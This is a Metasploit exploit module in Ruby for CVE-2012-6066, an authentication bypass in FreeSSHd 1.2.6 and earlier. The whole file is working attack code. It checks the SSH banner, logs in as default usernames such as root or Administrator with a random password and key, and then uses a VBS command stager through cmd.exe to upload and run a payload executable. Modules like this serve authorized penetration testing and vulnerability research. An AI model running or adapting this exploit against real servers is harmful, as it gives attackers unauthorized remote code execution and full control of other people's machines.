require 'msf/core'
require 'tempfile'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Freesshd Authentication Bypass",
'Description' => %q{
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
authentication. You just need the username (which defaults to root). The exploit
has been tested with both password and public key authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Aris', # Vulnerability discovery and Exploit
'kcope', # 2012 Exploit
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-6066' ],
[ 'OSVDB', '88006' ],
[ 'BID', '56785' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
],
'Platform' => 'win',
'Privileged' => true,
'DisclosureDate' => "Aug 11 2010",
'Targets' =>
[
[ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
],
'DefaultTarget' => 0
))
register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22]),
OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator'])
], self.class)
end
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end
def check
connect
banner = sock.recv(30)
disconnect
if banner =~ /SSH-2.0-WeOnlyDo/
version=banner.split(" ")[1]
return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def upload_payload(connection)
exe = generate_payload_exe
filename = rand_text_alpha(8) + ".exe"
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
opts = {
:linemax => 1700,
:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
}
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
cmds.each { |cmd|
ret = connection.exec!("cmd.exe /c "+cmd)
}
end
def setup_ssh_options
pass=rand_text_alpha(8)
options={
:password => pass,
:port => datastore['RPORT'],
:timeout => 1,
:proxies => datastore['Proxies'],
:key_data => OpenSSL::PKey::RSA.new(2048).to_pem
}
return options
end
def do_login(username,options)
print_status("Trying username "+username)
options[:username]=username
transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
auth = Net::SSH::Authentication::Session.new(transport, options)
auth.authenticate("ssh-connection", username, options[:password])
connection = Net::SSH::Connection::Session.new(transport, options)
begin
Timeout.timeout(10) do
connection.exec!('cmd.exe /c echo')
end
rescue RuntimeError
return nil
rescue Timeout::Error
print_status("Timeout")
return nil
end
return connection
end
def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end
options=setup_ssh_options
connection = nil
usernames=datastore['USERNAMES'].split(' ')
usernames.each { |username|
connection=do_login(username,options)
break if connection
}
if connection
print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)")
upload_payload(connection)
handler
end
end
end
